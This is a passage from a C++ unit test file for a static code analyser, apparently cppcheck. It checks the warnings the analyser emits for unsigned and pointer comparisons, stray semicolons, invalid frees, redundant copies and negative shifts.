{\\n\"\n \" if (x <= n);\\n\"\n \"}\\n\"\n \"foo<0>();\";\n check(code, true, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(code, true, true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"template void foo(unsigned int x) {\\n\"\n \"if (x <= 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n\n // #8836\n check(\"uint32_t value = 0xFUL;\\n\"\n \"void f() {\\n\"\n \" if (value < 0u)\\n\"\n \" {\\n\"\n \" value = 0u;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Checking if unsigned expression 'value' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n // #9040\n /*const*/ Settings settings1 = settingsBuilder().platform(Platform::Type::Win64).build();\n check(\"using BOOL = unsigned;\\n\"\n \"int i;\\n\"\n \"bool f() {\\n\"\n \" return i >= 0;\\n\"\n \"}\\n\", &settings1);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10612\n check(\"void f(void) {\\n\"\n \" const uint32_t x = 0;\\n\"\n \" constexpr const auto y = 0xFFFFU;\\n\"\n \" if (y < x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Checking if unsigned expression 'y' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n // #12387\n check(\"template\\n\"\n \"void f(T t) {\\n\"\n \" if constexpr (std::numeric_limits::is_signed) {\\n\"\n \" if (t < 0) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13734\n check(\"void f() {\\n\"\n \" uint8_t a[N + 1];\\n\"\n \" for (unsigned p = 0; p < (sizeof(a) / sizeof((a)[0])); ++p) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSignOfPointer() {\n check(\"void foo(const int* x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(const int* x) {\\n\"\n \" int y = 0;\\n\"\n \" if (x >= y) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n }\n check(\"void foo(const int* x) {\\n\"\n \" if (*x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(const int* x) {\\n\"\n \" unsigned y = 0u;\\n\"\n \" if (x < y) {}\\n\"\n \"}\";\n\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n }\n\n check(\"void foo(const int* x) {\\n\"\n \" if (*x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y <= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const Bar* x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first) {\\n\"\n \" if (first.ptr >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\"\n \"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if((first.ptr - second.ptr) >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first) {\\n\"\n \" if((first.ptr) >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\"\n \"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 <= first.ptr - second.ptr) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 <= (first.ptr - second.ptr)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(first.ptr - second.ptr < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if((first.ptr - second.ptr) < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 > first.ptr - second.ptr) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 > (first.ptr - second.ptr)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (0 <= x[0]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 <= x.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 <= x->y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x, Bar* y) {\\n\"\n \" if (0 <= x->y - y->y ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:23]: (style) Parameter 'y' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void foo(const Bar* x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (0 > x[0]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 > x.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 > x->y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int (*t)(void *a, void *b);\\n\"\n \" if (t(a, b) < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int (*t)(void *a, void *b);\\n\"\n \" if (0 > t(a, b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct object_info { int *typep; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\"\n \"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct object_info { int typep[10]; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\"\n \"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct object_info { int *typep; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (*oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n }\n\n void checkSuspiciousSemicolon1() {\n check(\"void foo() {\\n\"\n \" for(int i = 0; i < 10; ++i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Empty block\n check(\"void foo() {\\n\"\n \" for(int i = 0; i < 10; ++i); {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'for' statement. [suspiciousSemicolon]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" while (!quit); {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'while' statement. [suspiciousSemicolon]\\n\", errout_str());\n }\n\n void checkSuspiciousSemicolon2() {\n check(\"void foo() {\\n\"\n \" if (i == 1); {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'if' statement. [suspiciousSemicolon]\\n\", errout_str());\n\n // Seen this in the wild\n check(\"void foo() {\\n\"\n \" if (Match());\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (Match());\\n\"\n \" else\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (i == 1)\\n\"\n \" ;\\n\"\n \" {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (i == 1);\\n\"\n \"\\n\"\n \" {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSuspiciousSemicolon3() {\n checkP(\"#define REQUIRE(code) {code}\\n\"\n \"void foo() {\\n\"\n \" if (x == 123);\\n\"\n \" REQUIRE(y=z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSuspiciousComparison() {\n checkP(\"void f(int a, int b) {\\n\"\n \" a > b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '>', result is not used. [constStatement]\\n\", errout_str());\n\n checkP(\"void f() {\\n\" // #10607\n \" for (auto p : m)\\n\"\n \" std::vector> k;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkInvalidFree() {\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(a + 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(a - 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(10 + a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char[1024];\\n\"\n \" delete[] (a + 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:3:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:3:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" bar(a);\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" char *b; b = new char;\\n\"\n \" bar(a);\\n\"\n \" delete a + 10;\\n\"\n \" delete b + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" char *b; b = new char;\\n\"\n \" bar(a, b);\\n\"\n \" delete a + 10;\\n\"\n \" delete b + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" bar()\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(size_t xx) {\\n\"\n \" char *ptr; ptr = malloc(42);\\n\"\n \" ptr += xx;\\n\"\n \" free(ptr + 1 - xx);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(size_t xx) {\\n\"\n \" char *ptr; ptr = malloc(42);\\n\"\n \" std::cout << ptr;\\n\"\n \" ptr = otherPtr;\\n\"\n \" free(otherPtr - xx - 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9]: (style) Variable 'ptr' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n }\n\n void checkRedundantCopy() {\n check(\"const std::string& getA(){static std::string a;return a;}\\n\"\n \"void foo() {\\n\"\n \" const std::string a = getA();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"class A { public: A() {} char x[100]; };\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a = getA();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const int a = getA();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" int getA = 0;\\n\"\n \" const int a = getA + 3;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:12] -> [test.cpp:4:9]: (style) Local variable 'getA' shadows outer function [shadowFunction]\\n\", errout_str());\n\n check(\"class A { public: A() {} char x[100]; };\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a(getA());\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const int a(getA());\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A{\\n\"\n \"public:A(int a=0){_a = a;}\\n\"\n \"A operator+(const A & a){return A(_a+a._a);}\\n\"\n \"private:int _a;};\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a = getA() + 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A{\\n\"\n \"public:A(int a=0){_a = a;}\\n\"\n \"A operator+(const A & a){return A(_a+a._a);}\\n\"\n \"private:int _a;};\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a(getA()+1);\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5190 - FP when creating object with constructor that takes a reference\n check(\"class A {};\\n\"\n \"class B { B(const A &a); };\\n\"\n \"const A &getA();\\n\"\n \"void f() {\\n\"\n \" const B b(getA());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {};\\n\"\n \"class B { B(const A& a); };\\n\"\n \"const A& getA();\\n\"\n \"void f() {\\n\"\n \" const B b{ getA() };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5618\n const char code5618[] = \"class Token {\\n\"\n \"public:\\n\"\n \" const std::string& str();\\n\"\n \"};\\n\"\n \"void simplifyArrayAccessSyntax() {\\n\"\n \" for (Token *tok = list.front(); tok; tok = tok->next()) {\\n\"\n \" const std::string temp = tok->str();\\n\"\n \" tok->str(tok->strAt(2));\\n\"\n \" }\\n\"\n \"}\";\n check(code5618, true, true);\n ASSERT_EQUALS(\"\", errout_str());\n check(code5618, true, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5890 - crash: wesnoth desktop_util.cpp / unicode.hpp\n check(\"typedef std::vector X;\\n\"\n \"X f(const X &in) {\\n\"\n \" const X s = f(in);\\n\"\n \" return f(s);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7981 - False positive redundantCopyLocalConst - const ref argument to ctor\n check(\"class CD {\\n\"\n \" public:\\n\"\n \" CD(const CD&);\\n\"\n \" static const CD& getOne();\\n\"\n \"};\\n\"\n \" \\n\"\n \"void foo() {\\n\"\n \" const CD cd(CD::getOne());\\n\"\n \"}\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #10545\n \" int modify();\\n\"\n \" const std::string& get() const;\\n\"\n \"};\\n\"\n \"std::string f(S& s) {\\n\"\n \" const std::string old = s.get();\\n\"\n \" int i = s.modify();\\n\"\n \" if (i != 0)\\n\"\n \" return old;\\n\"\n \" return {};\\n\"\n \"}\", true, /*inconclusive*/ true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int x; };\\n\" // #10191\n \"struct S {\\n\"\n \" X _x;\\n\"\n \" X& get() { return _x; }\\n\"\n \" void modify() { _x.x += 42; }\\n\"\n \" int copy() {\\n\"\n \" const X x = get();\\n\"\n \" modify();\\n\"\n \" return x.x;\\n\"\n \" }\\n\"\n \" int constref() {\\n\"\n \" const X& x = get();\\n\"\n \" modify();\\n\"\n \" return x.x;\\n\"\n \" }\\n\"\n \"};\\n\", true, /*inconclusive*/ true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10704\n check(\"struct C {\\n\"\n \" std::string str;\\n\"\n \" const std::string& get() const { return str; }\\n\"\n \"};\\n\"\n \"struct D {\\n\"\n \" C c;\\n\"\n \" bool f() const {\\n\"\n \" std::string s = c.get();\\n\"\n \" return s.empty();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:21]: (performance, inconclusive) Use const reference for 's' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"struct C {\\n\"\n \" const std::string & get() const { return m; }\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"C getC();\\n\"\n \"void f() {\\n\"\n \" const std::string s = getC().get();\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" std::string s = getC().get();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12139\n \" int x, y;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" const S& get() const { return s; }\\n\"\n \"};\\n\"\n \"void f(const T& t) {\\n\"\n \" const S a = t.get();\\n\"\n \" if (a.x > a.y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12740\n \" const std::string & get() const { return m; }\\n\"\n \" void set(const std::string& v) { m = v; }\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" void f();\\n\"\n \" S* s;\\n\"\n \"};\\n\"\n \"void T::f() {\\n\"\n \" const std::string o = s->get();\\n\"\n \" s->set(\\\"abc\\\");\\n\"\n \" s->set(o);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12196\n \" std::string s;\\n\"\n \" const std::string& get() const { return s; }\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S* m;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"struct U {\\n\"\n \" explicit U(S* p);\\n\"\n \" void g();\\n\"\n \" S* n;\\n\"\n \"};\\n\"\n \"void T::f() {\\n\"\n \" U u(m);\\n\"\n \" const std::string c = m->get();\\n\"\n \" u.g();\\n\"\n \" if (c == m->get()) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"\",\n \"[test.cpp:16:33] -> [test.cpp:18:11]: (style) The comparison 'c == m->get()' is always true because 'c' and 'm->get()' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #12925\n \" const std::string & f() const { return str; }\\n\"\n \" std::string str;\\n\"\n \"};\\n\"\n \"void f(const S* s) {\\n\"\n \" const std::string v{ s->f() };\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\"\n \"void g(const S* s) {\\n\"\n \" const std::string w(s->f());\\n\"\n \" if (w.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (performance, inconclusive) Use const reference for 'v' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\"\n \"[test.cpp:10:23]: (performance, inconclusive) Use const reference for 'w' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\",\n errout_str());\n\n check(\"struct T {\\n\"\n \" std::string s;\\n\"\n \" const std::string& get() const { return s; }\\n\"\n \"};\\n\"\n \"void f(const T& t) {\\n\"\n \" const auto s = t.get();\\n\"\n \" if (s.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:16]: (performance, inconclusive) Use const reference for 's' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n }\n\n void checkNegativeShift() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" (void)(a << -1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" (void)(a >> -1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" a <<= -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" a >>= -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << a << -1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << 3 << -1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo() {\\n\"\n \" x = (-10+2) << 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n check(\"x = y ? z << $-1 : 0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Negative LHS\n check(\"const int x = -1 >> 2;\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n // #6383 - unsigned type\n check(\"const int x = (unsigned int)(-1) >> 2;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7814 - UB happening in valueflowcode when it tried to compute shifts.\n check(\"int shift1() { return 1 >> -1 ;}\\n\"\n \"int shift2() { return 1 << -1 ;}\\n\"\n \"int shift3() { return -1 >> 1 ;}\\n\"\n \"int shift4() { return -1 << 1 ;}\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\"\n \"[test.cpp:2:25]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\"\n 